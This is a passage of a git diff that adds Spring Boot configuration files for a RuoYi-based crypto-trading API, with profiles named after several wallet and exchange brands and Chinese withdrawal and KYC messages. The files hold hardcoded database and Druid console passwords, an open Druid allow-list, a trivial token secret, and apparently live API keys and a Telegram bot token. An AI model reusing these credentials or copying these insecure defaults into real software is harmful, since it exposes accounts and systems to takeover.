配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-rxce.yml b/ruoyi-api/src/main/resources/application-rxce.yml new file mode 100644 index 0000000..b3b8123 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-rxce.yml @@ -0,0 +1,95 @@ +app: + name: rxce +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/rxce?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-spark.yml b/ruoyi-api/src/main/resources/application-spark.yml new file mode 100644 index 0000000..5863daa --- /dev/null +++ b/ruoyi-api/src/main/resources/application-spark.yml @@ -0,0 +1,95 @@ +app: + name: spark +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/spark?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-terra.yml b/ruoyi-api/src/main/resources/application-terra.yml new file mode 100644 index 0000000..ccfa5ed --- /dev/null +++ b/ruoyi-api/src/main/resources/application-terra.yml @@ -0,0 +1,94 @@ +app: + name: terra +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8003 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 3 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/terra?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-ticbit.yml b/ruoyi-api/src/main/resources/application-ticbit.yml new file mode 100644 index 0000000..30b7dc3 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-ticbit.yml @@ -0,0 +1,96 @@ +app: + name: ticbit +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/ticbit?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-tokencan.yml b/ruoyi-api/src/main/resources/application-tokencan.yml new file mode 100644 index 0000000..ddbd905 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-tokencan.yml @@ -0,0 +1,94 @@ +app: + name: tokencan +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9010 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/tokencan?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-trustwallet.yml b/ruoyi-api/src/main/resources/application-trustwallet.yml new file mode 100644 index 0000000..bcb5a22 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-trustwallet.yml @@ -0,0 +1,95 @@ +app: + name: trustwallet +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/trustwallet?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-wirex.yml b/ruoyi-api/src/main/resources/application-wirex.yml new file mode 100644 index 0000000..9fb56cc --- /dev/null +++ b/ruoyi-api/src/main/resources/application-wirex.yml @@ -0,0 +1,94 @@ +app: + name: wirex +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/wirex?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application.yml b/ruoyi-api/src/main/resources/application.yml new file mode 100644 index 0000000..9702bd7 --- /dev/null +++ b/ruoyi-api/src/main/resources/application.yml @@ -0,0 +1,132 @@ +# 项目相关配置 +ruoyi: + # 名称 + name: RuoYi + # 版本 + version: 3.8.5 + # 版权年份 + copyrightYear: 2023 + # 实例演示开关 + demoEnabled: true + # 文件路径 示例( Windows配置D:/ruoyi/uploadPath,Linux配置 /home/ruoyi/uploadPath) + profile: D:/ruoyi/uploadPath + # 获取ip地址开关 + addressEnabled: false + # 验证码类型 math 数字计算 char 字符验证 + captchaType: math + +# 开发环境配置 +server: + servlet: + # 应用的访问路径 + context-path: / + tomcat: + # tomcat的URI编码 + uri-encoding: UTF-8 + # 连接数满后的排队数,默认为100 + accept-count: 1000 + threads: + # tomcat最大线程数,默认为200 + max: 800 + # Tomcat启动初始化的线程数,默认值10 + min-spare: 100 + +# 用户配置 +user: + password: + # 密码最大错误次数 + maxRetryCount: 5 + # 密码锁定时间(默认10分钟) + lockTime: 10 + +# Spring配置 +spring: + # 资源信息 + messages: + # 国际化资源文件路径 + basename: i18n/messages + profiles: + active: dev + # 文件上传 + servlet: + multipart: + # 单个文件大小 + max-file-size: 10MB + # 设置总上传的文件大小 + max-request-size: 20MB + # 服务模块 + devtools: + restart: + # 热部署开关 + enabled: true + +# token配置 +token: + # 令牌自定义标识 + header: Authorization + # 令牌密钥 + secret: abcdefghijklmnopqrstuvwxyz + # 令牌有效期(默认30分钟) + expireTime: 240 + +# MyBatis Plus配置 +mybatis-plus: + # 搜索指定包别名 + typeAliasesPackage: com.ruoyi.**.domain + # 配置mapper的扫描,找到所有的mapper.xml映射文件 + mapperLocations: classpath*:mapper*/**/*Mapper.xml + # 加载全局的配置文件 + configLocation: classpath:mybatis/mybatis-config.xml + +# PageHelper分页插件 +pagehelper: + helperDialect: mysql + supportMethodsArguments: true + params: count=countSql + +# Swagger配置 +swagger: + # 是否开启swagger + enabled: true + # 请求前缀 + pathMapping: /dev-api + +# 防止XSS攻击 +xss: + # 过滤开关 + enabled: true + # 排除链接(多个用逗号分隔) + excludes: /system/notice + # 匹配链接 + urlPatterns: /system/*,/monitor/*,/tool/* + + +api: + key: 412XIG5HCBA5BUBTUJ5CMJ5IDBGIDVEU31 + eth: + key: MIFUK1NUB2ZFNC2A1VB878Q148336UTG7E +web3j: + url: https://mainnet.infura.io/v3/b631721031a64cfc8a94b911a6640939 +mifeng: + api: + eth: L30PNXBLM9B6PJDSGTIE7MWWFIR3P6YL2ZU7INHB + host: data.block.cc +#tg +telegram: + user: + name: Tetris_Echo2_Bot + token: 6569654388:AAGOibgZcZJPimx2-beGGNF42mENmUbtdd8 + group: + charId: -905665230 + + +#stream 相关配置 +#stream 名称数组 +api-redis-stream: + names: socket_key + #stream 群组名称 + groups: socket_coin +admin-redis-stream: + names: notice_key + #stream 群组名称 + groups: notice diff --git a/ruoyi-api/src/main/resources/banner.txt b/ruoyi-api/src/main/resources/banner.txt new file mode 100644 index 0000000..0931cb8 --- /dev/null +++ b/ruoyi-api/src/main/resources/banner.txt @@ -0,0 +1,24 @@ +Application Version: ${ruoyi.version} +Spring Boot Version: ${spring-boot.version} +//////////////////////////////////////////////////////////////////// +// _ooOoo_ // +// o8888888o // +// 88" . "88 // +// (| ^_^ |) // +// O\ = /O // +// ____/`---'\____ // +// .' \\| |// `. // +// / \\||| : |||// \ // +// / _||||| -:- |||||- \ // +// | | \\\ - /// | | // +// | \_| ''\---/'' | | // +// \ .-\__ `-` ___/-. / // +// ___`. .' /--.--\ `. . ___ // +// ."" '< `.___\_<|>_/___.' >'"". // +// | | : `- \`.;`\ _ /`;.`/ - ` : | | // +// \ \ `-. \_ __\ /__ _/ .-` / / // +// ========`-.____`-.___\_____/___.-`____.-'======== // +// `=---=' // +// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // +// 佛祖保佑 永不宕机 永无BUG // +//////////////////////////////////////////////////////////////////// \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/i18n/messages.properties b/ruoyi-api/src/main/resources/i18n/messages.properties new file mode 100644 index 0000000..53d4ae8 --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages.properties @@ -0,0 +1,153 @@ +#\u9519\u8BEF\u6D88\u606F +not.null=* \u5FC5\u987B\u586B\u5199 +user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF +user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548 +user.not.exists=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF +user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF +user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 +user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F +user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\u5DF2\u88AB\u5220\u9664 +user.blocked=\u7528\u6237\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +login.blocked=\u5F88\u9057\u61BE\uFF0C\u8BBF\u95EEIP\u5DF2\u88AB\u5217\u5165\u7CFB\u7EDF\u9ED1\u540D\u5355 +user.logout.success=\u9000\u51FA\u6210\u529F +user.ops.status=\u64CD\u4F5C\u6210\u529F + +length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 + +user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934 +user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26 + +user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF +user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF +user.login.success=\u767B\u5F55\u6210\u529F +user.register.success=\u6CE8\u518C\u6210\u529F +user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55 +user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 +user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01
\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01 +upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26 + +##\u6743\u9650 +no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] +no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=\u90AE\u7BB1\u683C\u5F0F\u4E0D\u6B63\u786E +user.register.email.exisit=\u90AE\u7BB1\u5DF2\u5B58\u5728 +user.register.phone.exisit=\u90AE\u7BB1\u5DF2\u5B58\u5728 +user.user_name_exisit=\u7528\u6237\u540D\u5DF2\u7ECF\u5B58\u5728 +login.user_error=\u7528\u6237\u540D\u6216\u5BC6\u7801\u9519\u8BEF +user.login.address.error=\u5730\u5740\u88AB\u5360\u7528! +user.register.phone.exist=\u624B\u673A\u53F7\u5DF2\u7ECF\u5B58\u5728 +user.register.phone.bind=\u624B\u673A\u53F7\u5DF2\u7ECF\u7ED1\u5B9A +#app +app.login.address.not.null=\u7528\u6237\u5730\u5740\u4E3A\u7A7A +login.email.not_register=\u8BF7\u4F7F\u7528\u5DF2\u7ED1\u5B9A\u90AE\u7BB1\u8FDB\u884C\u64CD\u4F5C +login.phone.not_register=\u8BF7\u4F7F\u7528\u5DF2\u7ED1\u5B9A\u624B\u673A\u53F7\u8FDB\u884C\u64CD\u4F5C +login.code_error=\u9A8C\u8BC1\u7801\u9519\u8BEF +user.login.code.error=\u9A8C\u8BC1\u7801\u6548\u9A8C\u5931\u8D25! +user.login.password.null=\u8BF7\u8F93\u5165\u5BC6\u7801! +user.login.upd.success=\u4FEE\u6539\u6210\u529F! +phone_code_empty=\u624B\u673A\u53F7\u4E0D\u80FD\u4E3A\u7A7A! +email.code_empty=\u90AE\u7BB1\u4E0D\u80FD\u4E3A\u7A7A! +user.code.send=\u9A8C\u8BC1\u7801\u53D1\u9001\u6210\u529F +app.verification.email.code=\u9A8C\u8BC1\u7801\u5DF2\u53D1\u9001\u5230\u60A8\u7684\u90AE\u7BB1\uFF0C\u8BF7\u6CE8\u610F\u67E5\u6536 +user.password_bind=\u5BC6\u7801\u5DF2\u7ECF\u8BBE\u7F6E\uFF0C\u8BF7\u52FF\u91CD\u590D\u7ED1\u5B9A +user.login.null=\u7528\u6237\u4E0D\u5B58\u5728\uFF01 +user.login.old.password=\u65E7\u5BC6\u7801\u672A\u8F93\u5165\uFF01 +user.login.new.password=\u65B0\u5BC6\u7801\u672A\u8F93\u5165\uFF01 +user.login.paw.upd=\u65B0\u5BC6\u7801\u4E0D\u80FD\u4E0E\u65E7\u5BC6\u7801\u4E00\u81F4\uFF01 +user.login.old.password.error=\u65E7\u5BC6\u7801\u9519\u8BEF\uFF01 +user.login.address.null=\u5730\u5740\u4E3A\u7A7A\uFF01 +user.login.userid.null=\u7528\u6237ID\u4E3A\u7A7A\uFF01 +#\u63D0\u73B0 +user.password_notbind=\u8BF7\u8BBE\u7F6E\u5B89\u5168\u5BC6\u7801 +tard_password.error=\u652F\u4ED8\u5BC6\u7801\u9519\u8BEF +withdraw.amount_number_exceed=\u5F53\u65E5\u63D0\u73B0\u8D85\u8FC7\u8BBE\u5B9A\u6B21\u6570 +withdraw_error=\u4F59\u989D\u4E0D\u8DB3\uFF0C\u65E0\u6CD5\u63D0\u73B0 +withdraw.amount_error=\u63D0\u73B0\u91D1\u989D\u9519\u8BEF\uFF0C\u8BF7\u4FEE\u6539 +withdraw.refresh=\u8BF7\u5237\u65B0 +withdraw.address.isnull=\u8BF7\u586B\u5199\u6B63\u786E\u7684\u63D0\u73B0\u5730\u5740\uFF01 +withdraw.kyc.error=\u8BF7\u5148\u5B8C\u6210\u5B9E\u540D\u8BA4\u8BC1\uFF0C\u89E3\u9664\u9650\u989D +withdraw_require_error = \u76EE\u524D\u8FD8\u9700\u8981\u73A9\u5269\u4E0B\u7684\u6D41\u6C34 +withdraw_error_coin=\u6B64\u5E01\u79CD\u4E0D\u5B58\u5728 +withdraw_error_rate=\u6B64\u5E01\u79CD\u6C47\u7387\u4E0D\u5B58\u5728 +#\u5B9E\u540D\u8BA4\u8BC1 